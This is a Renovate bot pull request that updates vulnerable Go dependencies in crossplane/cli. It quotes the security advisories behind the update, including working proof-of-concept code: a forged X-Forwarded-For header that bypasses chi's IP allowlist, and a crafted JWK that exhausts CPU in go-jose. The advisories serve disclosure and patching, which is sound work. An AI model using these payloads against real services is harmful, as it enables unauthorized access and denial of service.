chore(deps): update vulnerable dependencies [security] (release-2.4) by crossplane-renovate[bot] · Pull Request #450 · crossplane/cli

crossplane-renovate · 2026-10-24T08:08:56Z

This PR contains the following updates:

Package	Change	Age	Confidence
github.com/go-chi/chi/v5	`v5.3.0` → `v5.4.0`
github.com/go-jose/go-jose/v4	`v4.1.4` → `v4.1.6`
golang.org/x/net	`v0.60.0` → `v0.62.0`

chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

CVE-2026-114437 / GHSA-j6qf-3m9c-vwj3

More information

Details

Summary

ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

Send GET /admin directly to the origin with no X-Forwarded-For header.
Observe a 403 Forbidden response and an empty derived client IP.
Repeat the request with X-Forwarded-For: 10.0.0.7, 198.51.100.42.
Observe 200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

Details

The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
	ip, ok := parseHeaderAddr(v)
	if !ok {
		return true
	}
	if inAnyPrefix(ip, prefixes) {
		return false
	}
	found = ip
	return true
})

The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.

Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
	r := chi.NewRouter()
	r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
	r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
		clientIP := middleware.GetClientIP(r.Context())
		if clientIP != allowedIP {
			http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
			return
		}
		fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
	})

	log.Print("listening on http://127.0.0.1:3001")
	log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .

The no-header control was rejected:

$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""

Adding the forged chain authorized the same direct client:

$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"

Impact

I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Go JOSE: DoS when parsing JWKs that contain RSA keys

CVE-2026-116587 / GHSA-mgcc-cww5-fp2q

More information

Details

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Avoid quadratic complexity when coalescing text nodes in html in golang.org/x/net

CVE-2026-78661 / GO-2026-6860

More information

Details

When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode's Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as "a") caused O(n^2) allocations and byte copies.

Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Check all ancestor namespace transitions when rendering raw text in html in golang.org/x/net

CVE-2026-97045 / GO-2026-6866

More information

Details

In childTextNodesAreLiteral, walking up the tree previously stopped at the nearest foreign ancestor once an HTML integration point was found. However, that integration point may itself be a descendant of an element that was foster-parented into a foreign namespace (such as or fostered under ), causing a parser to resolve the subtree in a different foreign namespace upon re-parsing the rendered output.

Continue walking the full ancestor chain and verify that every transition from a non-empty namespace occurs at an HTML integration point before emitting literal text.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Release Notes

go-chi/chi (github.com/go-chi/chi/v5)

`v5.4.0`

Compare Source

What's Changed

Improve godoc: add links and titles by @dolmen in #1027
Add Clone method to Context by @VojtechVitek in #1157
middleware: ContentCharset should skip requests without a body by @VojtechVitek in #1158
Update compress middleware support Brotli support documentation by @sm3142 in #1007
fix: panic on Mount() when a router is mounted onto itself by @sk-sanjay01 in #1159
test(middleware): Improves test coverage by @nszilard in #700
Remove superfluous import aliases by @JRaspass in #1166
Bump minimum Go to 1.24, use b.Loop() by @JRaspass in #1164
Use slices.Backward where appropriate by @JRaspass in #1165
Replace "interface{}" with "any" by @JRaspass in #1167
Simplify chi.URLParam, call chi.URLParamFromCtx by @JRaspass in #1168
middleware: record response status when flushing by @jakezwang in #1174
middleware: honor Discard when flushing by @LeulTew in #1185
README: point middleware doc links to chi/v5 by @VojtechVitek in #1196
middleware: treat RemoteAddr as the rightmost hop in ClientIPFrom* by @VojtechVitek in #1214
- Fixes GHSA-j6qf-3m9c-vwj3

New Contributors

@dolmen made their first contribution in #1027
@sm3142 made their first contribution in #1007
@sk-sanjay01 made their first contribution in #1159
@nszilard made their first contribution in #700
@jakezwang made their first contribution in #1174
@LeulTew made their first contribution in #1185

Full Changelog: go-chi/chi@v5.3.2...v5.4.0

`v5.3.2`

Compare Source

What's Changed

feat(middleware): add text/markdown, text/csv, text/vtt to default compressible types by @VojtechVitek in #1151
docs: deployment recipe for middleware.ClientIPFromXFFTrustedProxies() by @VojtechVitek in #1111
fix: don't drop handlers that collide with a Mount()/Route() pattern by @VojtechVitek in #1148
Don't duplicate methods in Allow: header for 405 responses by @flimzy in #1029
fix(middleware): reject catch-all compress wildcards by @VojtechVitek in #1156
- middleware.NewCompressor(level, "/*") never worked and silently compressed nothing. Instead of turning it into a compress-everything catch-all (as proposed in #868 and #1121), we decided to reject both "/" and "/*" at construction and panic. Compressing every response wastes CPU on already-compressed types (zip, jpeg, png), which is why the middleware keeps a curated default list. Users should pass explicit content types.

Full Changelog: go-chi/chi@v5.3.1...v5.3.2

`v5.3.1`

Compare Source

What's Changed

Honor Discard() in httpFancyWriter.ReadFrom by @DucMinhNe in #1110
Tidy build directives by @JRaspass in #1113
feat(middleware): add text/xml and application/xml to default compressible types by @VojtechVitek in #1127
Fix defaultLogEntry.Panic not respecting NoColor setting by @doganarif in #1050
middleware: document printPrettyStack and harden NoColor panic test by @VojtechVitek in #1131
feat(mux): support http QUERY method ietf rfc10008 by @VojtechVitek in #1132
ci: pin GitHub Actions to full commit SHAs by @XananasX7 in #1116

New Contributors

@DucMinhNe made their first contribution in #1110
@doganarif made their first contribution in #1050
@XananasX7 made their first contribution in #1116

Full Changelog: go-chi/chi@v5.3.0...v5.3.1

go-jose/go-jose (github.com/go-jose/go-jose/v4)

`v4.1.6`

Compare Source

Fixed Security Issues

This release contains a fix for GHSA-mgcc-cww5-fp2q

Breaking Changes

The fix for GHSA-mgcc-cww5-fp2q involves capping the size of the RSA modulus of keys accepted by JWK parsing. This limit is 4096 bits. If you need this to be higher, set MaxRSAModulusBits before performing any JWK parsing.

Changed

Reject mismatched JWE CEK lengths by @akshithg in #266
Add a tests containerfile and threat model by @mcpherrinm in #300
Fix error message for future issued tokens by @inahga in #303

Full Changelog: go-jose/go-jose@v4.1.5...v4.1.6

`v4.1.5`

Compare Source

Fixed security issues

cipher/cbc_hmac: don't panic on empty ciphertext (#292)
cipher/cbc_hmac: don't panic on invalid key (#291)
json: limit stack depth (#290)
jwt: reject out-of-range NumericDate values (#278)
Check alg against pubkey curve during verify. (#293)
Reject malformed Ed25519 JWKs (#250)
jws: choose verification key per-signature (#243)

Breaking Changes

In #226, we un-exported jose.RandReader. This was used to be able to stub out the randomness function in tests, but is ignored as of Go 1.26 in some APIs, so no longer serves a useful function.

Changed

Verify OpaqueSigner's Public() return is public (#260)
jws: skip signature on ErrJWKSKidNotFound (#248)
Handle JWE JSON without protected header (#240)
jws: don't strip internal whitespace before parsing JSON (#239)
jws: fewer calls to OpaqueSigner.Public() (#224)
Return a specific error when parsing empty string (#216)
Reject typed nil at Verify time (#285)

Configuration

📅 Schedule: (UTC)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

crossplane-renovate · 2026-10-28T08:13:03Z

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

6 additional dependencies were updated

Details:

Package	Change
`golang.org/x/sync`	`v0.23.0` -> `v0.24.0`
`golang.org/x/text`	`v0.42.0` -> `v0.43.0`
`golang.org/x/tools`	`v0.49.0` -> `v0.51.0`
`golang.org/x/crypto`	`v0.57.0` -> `v0.58.0`
`golang.org/x/sys`	`v0.48.0` -> `v0.49.0`
`golang.org/x/term`	`v0.46.0` -> `v0.47.0`

crossplane-renovate Bot requested a review from jcogilvie as a code owner October 24, 2026 08:08

crossplane-renovate Bot added the automated label Oct 24, 2026

crossplane-renovate Bot requested a review from tampakrap as a code owner October 24, 2026 08:08

crossplane-renovate Bot added the security label Oct 24, 2026

crossplane-renovate Bot requested a review from a team as a code owner October 24, 2026 08:08

crossplane-renovate Bot requested review from jbw976 and removed request for a team October 24, 2026 08:08

crossplane-renovate Bot added automated security labels Oct 24, 2026

crossplane-renovate Bot changed the title ~~chore(deps): update module github.com/go-chi/chi/v5 to v5.4.0 [security] (release-2.4)~~ chore(deps): update vulnerable dependencies [security] (release-2.4) Oct 27, 2026

crossplane-renovate Bot force-pushed the renovate/release-2.4-vulnerable-dependencies branch from c324080 to a8c92dc Compare October 27, 2026 21:41

chore(deps): update vulnerable dependencies [security]

9922b40

crossplane-renovate Bot force-pushed the renovate/release-2.4-vulnerable-dependencies branch from a8c92dc to 9922b40 Compare October 28, 2026 08:13

adamwg approved these changes Oct 28, 2026

View reviewed changes

adamwg merged commit e80241f into release-2.4 Oct 28, 2026
11 checks passed

adamwg deleted the renovate/release-2.4-vulnerable-dependencies branch October 28, 2026 19:06

Navigation Menu

Repository navigation

chore(deps): update vulnerable dependencies [security] (release-2.4) - #450

chore(deps): update vulnerable dependencies [security] (release-2.4)#450
adamwg merged 1 commit into
release-2.4from
renovate/release-2.4-vulnerable-dependencies

crossplane-renovate Bot commented Oct 24, 2026 •

edited

Loading

Uh oh!

crossplane-renovate Bot commented Oct 28, 2026

Uh oh!

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Conversation

crossplane-renovate Bot commented Oct 24, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

Details

Summary

Details

Proof of concept

Impact

Severity

References

Go JOSE: DoS when parsing JWKs that contain RSA keys

Details

Summary

Details

Proof of concept

Impact

Credits

Severity

References

Avoid quadratic complexity when coalescing text nodes in html in golang.org/x/net

Details

Severity

References

Check all ancestor namespace transitions when rendering raw text in html in golang.org/x/net

Details

Severity

References

Release Notes

v5.4.0

What's Changed

New Contributors

v5.3.2

What's Changed

v5.3.1

What's Changed

New Contributors

v4.1.6

Fixed Security Issues

Breaking Changes

Changed

v4.1.5

Fixed security issues

Breaking Changes

Changed

Configuration

Uh oh!

crossplane-renovate Bot commented Oct 28, 2026

ℹ️ Artifact update notice

File name: go.mod

Uh oh!

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

crossplane-renovate Bot commented Oct 24, 2026 •

edited

Loading

`v5.4.0`

`v5.3.2`

`v5.3.1`

`v4.1.6`

`v4.1.5`